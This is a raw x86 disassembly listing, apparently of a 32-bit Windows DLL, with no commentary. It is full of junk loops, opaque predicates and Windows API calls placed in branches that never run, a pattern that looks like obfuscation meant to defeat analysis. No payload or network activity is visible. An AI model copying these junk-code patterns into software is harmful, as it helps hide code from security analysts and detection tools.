cmp dword [ebp - 0x14], ebx
jl 0x1003c0d6
mov dword [ebp - 0x1c], 0xfb770a77
cmp dword [ebp - 0x14], ebx
jne 0x1003c0d6
mov dword [ebp - 0x1c], ebx
jmp 0x1003c0b6
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c0a5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 2
pop edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x310]
cmp dword [eax + ecx*4], ebx
jne 0x1003c0bb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1003c091
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ebx
jl 0x1003c0d1
mov dword [ebp - 0x58], ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
dec dword [ebp - 0x1c]
jns 0x1003c0c3
dec dword [ebp - 0x14]
jns 0x1003c080
lea ecx, [ebp - 0x310]
call fcn.1002e206
push esi
lea ecx, [ebp - 0x3a0]
call fcn.1002e184
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003c108
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3a0]
mov dword [eax + ecx*4], 0xf70ad6f2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003c0f5
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c11c
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 2
pop edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1003c17d
mov dword [ebp - 0x1c], 0xfb770a77
cmp dword [ebp - 0x14], ebx
jne 0x1003c17d
mov dword [ebp - 0x1c], ebx
jmp 0x1003c15d
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c14c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 2
pop edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3a0]
cmp dword [eax + ecx*4], ebx
jne 0x1003c162
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1003c138
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ebx
jl 0x1003c178
mov dword [ebp - 0x58], ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
dec dword [ebp - 0x1c]
jns 0x1003c16a
dec dword [ebp - 0x14]
jns 0x1003c127
lea ecx, [ebp - 0x3a0]
call fcn.1002e206
movdqa xmm0, xmmword [0x1000c380]
lea ecx, [ebp - 0x584]
push ecx
lea eax, [ebp - 0x574]
push eax
push ecx
lea ecx, [ebp - 0x178]
movdqu xmmword [ebp - 0x584], xmm0
call fcn.1002e1e0
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x34], 0xe71b35d5
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x48], 0x637eac69
mov dword [ebp - 0x58], 0xecdcc21d
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jl 0x1003c24e
mov dword [ebp - 0x28], 0xffffffff
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [esi + edi*4], eax
mov eax, dword [ebp - 0x28]
test eax, eax
setns cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [esi + edi*4]
setg dl
sub eax, edx
add eax, 0x74b1b055
je 0x1003c234
cmp dword [ebp - 0x34], ebx
je 0x1003c234
xor edi, edi
inc edi
mov edx, edi
jmp 0x1003c239
xor edi, edi
mov edx, ebx
inc edi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x38]
jns 0x1003c1dd
push 3
pop esi
mov dword [ebp - 0x38], ebx
jmp 0x1003c336
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x58], 8
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], ebx
jl 0x1003c2fa
mov esi, dword [ebp - 0x38]
mov ecx, 0xffff
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x178]
sub ecx, dword [edx + eax*4]
xor eax, eax
cmp ecx, edi
setg al
xor ecx, ecx
cmp dword [edx + esi*4], eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 0x3b9c
je 0x1003c2b8
mov edx, edi
cmp dword [ebp - 0x34], ebx
jne 0x1003c2ba
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x178]
cmp dword [eax + ecx*4], ebx
je 0x1003c2d8
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
sub eax, 0x2ffa36fe
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x2c]
jns 0x1003c272
push 3
pop esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x20]
cmp eax, 6
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x58]
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub ecx, 0x4cb1b5ad
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x58], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x1003c256
lea ecx, [ebp - 0x178]
call fcn.1002e206
movdqa xmm0, xmmword [0x1000c380]
lea ecx, [ebp - 0x594]
push ecx
lea eax, [ebp - 0x584]
push eax
push ecx
lea ecx, [ebp - 0x1d0]
movdqu xmmword [ebp - 0x594], xmm0
call fcn.1002e1e0
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x34], 0xe71b35d5
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x48], 0x637eac69
mov dword [ebp - 0x58], 0xecdcc21d
mov dword [ebp - 0x50], 0xab5
cmp dword [ebp - 0x50], 0xe96
jle 0x1003c409
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], 0x6613
mov esi, dword [ebp - 0x28]
mov edi, ebx
mov dword [ebp - 0x20], 0x4031
mov eax, edi
mov ecx, 0x106092f8
cdq
push edx
push eax
call fcn.1002e06f
add edi, esi
dec dword [ebp - 0x20]
jne 0x1003c3c7
mov esi, dword [ebp - 0x2c]
add dword [ebp - 0x28], esi
dec dword [ebp - 0x14]
jne 0x1003c3bb
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0xe7d
jl 0x1003c3b1
push ebx
push 0x21bf
push ebx
push 0x2140
call dword [sym.imp.USER32.dll_SetTimer]
push 3
pop esi
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x50], 0xa9d
jge 0x1003c446
mov edx, 0x1000b2d8
mov ecx, 0x106092f8
call fcn.1002fb19
jmp 0x1003c446
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jl 0x1003c4c1
mov dword [ebp - 0x28], 0xffffffff
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [esi + edi*4], eax
mov eax, dword [ebp - 0x28]
test eax, eax
setns cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [esi + edi*4]
setg dl
sub eax, edx
add eax, 0x74b1b055
je 0x1003c4aa
cmp dword [ebp - 0x34], ebx
je 0x1003c4aa
xor edx, edx
inc edx
jmp 0x1003c4ac
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x38]
jns 0x1003c455
push 3
pop esi
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], esi
jg 0x1003c63f
xor edi, edi
inc edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x58], 8
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], ebx
jl 0x1003c571
mov esi, dword [ebp - 0x38]
mov ecx, 0xffff
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1d0]
sub ecx, dword [edx + eax*4]
xor eax, eax
cmp ecx, edi
setg al
xor ecx, ecx
cmp dword [edx + esi*4], eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 0x3b9c
je 0x1003c532
mov edx, edi
cmp dword [ebp - 0x34], ebx
jne 0x1003c534
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1d0]
cmp dword [eax + ecx*4], ebx
je 0x1003c552
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
sub eax, 0x2ffa36fe
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x2c]
jns 0x1003c4ec
mov dword [ebp - 0x50], 0x51df
cmp dword [ebp - 0x50], 0x53ea
jle 0x1003c5e0
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0x74c]
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003c5aa
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x74c]
call fcn.1002e510
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0xd3f
jl 0x1003c58a
inc edi
cmp edi, 0x512b
jl 0x1003c588
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x1ef8
jl 0x1003c586
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x20]
cmp eax, 6
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x58]
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub ecx, 0x4cb1b5ad
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x58], ecx
cmp dword [ebp - 0x50], 0x51bb
jge 0x1003c62d
push 0x1000b35c
call fcn.1004a056
pop ecx
push 3
mov dword [ebp - 4], 0xa
inc dword [ebp - 0x38]
pop esi
jmp 0x1003c4c4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0]
call fcn.1002e206
mov dword [ebp - 0x34], 0x620f
cmp dword [ebp - 0x34], 0x6365
jle 0x1003c6c2
push 0x25c9
push 0x2304
push ebx
push 0xaf9
call dword [sym.imp.USER32.dll_CreateCaret]
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
mov ecx, 0x106092f8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1002e06f
inc edi
cmp edi, 0x6052
jl 0x1003c685
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x700c
jl 0x1003c67e
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x4682
jl 0x1003c679
push 3
pop esi
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x34], 0x5faf
jge 0x1003c702
mov edx, 0x1000b39c
mov ecx, 0x106092f8
call fcn.1002fb19
jmp 0x1003c702
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a4]
xor edi, edi
mov dword [ebp - 0x4c], 0xe19d
mov dword [ebp - 0x30], 0x6c2e7ccc
inc edi
push esi
call fcn.1002e184
lea ecx, [ebp - 0x5a4]
mov dword [ebp - 4], 0x11
movdqa xmm0, xmmword [0x1000c360]
lea eax, [ebp - 0x594]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x554]
movdqu xmmword [ebp - 0x5a4], xmm0
call fcn.1002e1e0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003c76f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2a4]
mov dword [eax + ecx*4], 0x10c13fe6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003c75c
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2a4]
setg dl
xor ecx, ecx
cmp edx, 0x46b8d963
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x554]
setne cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], esi
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
jg 0x1003c82d
mov dword [ebp - 0x3c], 0xcaea0a9f
mov dword [ebp - 0x3c], 0xcc72
mov dword [ebp - 0x20], 0xa0122d80
mov dword [ebp - 0x14], ebx
jmp 0x1003c7ec
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x804], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003c7df
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], ebx
jl 0x1003c821
mov dword [ebp - 0x2c], ebx
jmp 0x1003c816
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c813
push 0x1253
call esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1003c803
dec dword [ebp - 0x30]
jns 0x1003c7fe
dec dword [ebp - 0x20]
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jle 0x1003c7c5
lea ecx, [ebp - 0x554]
call fcn.1002e206
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a4]
call fcn.1002e206
mov dword [ebp - 0x3c], 0x7862fd41
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c864
push 0x1f59
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c879
push ebx
push 0x953
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 3
lea ecx, [ebp - 0x3b8]
call fcn.1002e184
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x4c], 0xe19d
mov dword [ebp - 0x30], 0x6c2e7ccc
push 3
call fcn.1002e184
lea ecx, [ebp - 0x5b4]
mov byte [ebp - 4], 0x13
movdqa xmm0, xmmword [0x1000c360]
lea eax, [ebp - 0x5a4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x470]
movdqu xmmword [ebp - 0x5b4], xmm0
call fcn.1002e1e0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003c8f1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x328]
mov dword [eax + ecx*4], 0x10c13fe6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003c8de
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x328]
push 3
setg dl
xor ecx, ecx
cmp edx, 0x46b8d963
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x470]
setne cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], ebx
pop ecx
jmp 0x1003c9a2
mov dword [ebp - 0x3c], 0xcaea0a9f
mov dword [ebp - 0x3c], 0xcc72
mov dword [ebp - 0x20], 0xa0122d80
mov dword [ebp - 0x14], ebx
jmp 0x1003c969
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7d4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003c95c
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
jl 0x1003c99c
mov dword [ebp - 0x2c], ebx
jmp 0x1003c992
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003c98f
push 0x1253
call esi
push 3
pop ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jle 0x1003c97c
dec dword [ebp - 0x30]
jns 0x1003c977
dec dword [ebp - 0x20]
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jle 0x1003c942
lea ecx, [ebp - 0x470]
call fcn.1002e206
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x12
call fcn.1002e206
mov dword [ebp - 0x20], 0x4c1f
cmp dword [ebp - 0x20], 0x4d2d
jle 0x1003ca4f
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0x6f8]
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003ca01
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6f8]
call fcn.1002e510
mov ecx, dword [ebp - 0x34]
inc esi
cmp esi, 0x5278
jl 0x1003c9e1
inc edi
cmp edi, 0x5eb2
jl 0x1003c9df
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x2a77
jl 0x1003c9dd
push 0x1807
push 0x1b51
push 0x1875
call dword [sym.imp.GDI32.dll_GetPixel]
xor edi, edi
inc edi
mov dword [ebp - 0x50], edi
cmp dword [ebp - 0x20], 0x4923
jge 0x1003ca66
push 0x1000b3d0
call fcn.1004a056
pop ecx
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], 6
push edi
call fcn.1002e184
lea ecx, [ebp - 0x5d4]
mov byte [ebp - 4], 0x16
movdqa xmm0, xmmword [0x1000c370]
lea eax, [ebp - 0x5c4]
push ecx
push eax
push ecx
mov dword [ebp - 0x50], 0x44688d23
lea ecx, [ebp - 0x4e8]
movdqu xmmword [ebp - 0x5d4], xmm0
call fcn.1002e1e0
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x14], 0x5bc9
cmp dword [ebp - 0x14], 0x5f06
jle 0x1003cb2c
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x20], 0xb55
mov dword [ebp - 0x34], ecx
mov esi, ebx
mov edi, ebx
mov eax, esi
cdq
idiv edi
mov eax, ecx
mov ecx, 0x106092f8
sub eax, edx
cdq
push edx
push eax
call fcn.1002e06f
mov ecx, dword [ebp - 0x34]
inc edi
cmp edi, 0x128c
jl 0x1003cae6
inc esi
cmp esi, 0x50ec
jl 0x1003cae4
mov eax, dword [ebp - 0x28]
add ecx, eax
dec dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
jne 0x1003cae2
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x4147
jl 0x1003cad6
xor edi, edi
inc edi
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x14], 0x5a55
jge 0x1003cb69
mov edx, 0x1000b43c
mov ecx, 0x106092f8
call fcn.1002fb19
jmp 0x1003cb69
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x54], ebx
jmp 0x1003cb86
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x9c], 0x41b3c692
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x1003cb75
mov dword [ebp - 0x54], ebx
jmp 0x1003cba4
cmp dword [ebp - 0x54], edi
jl 0x1003cb91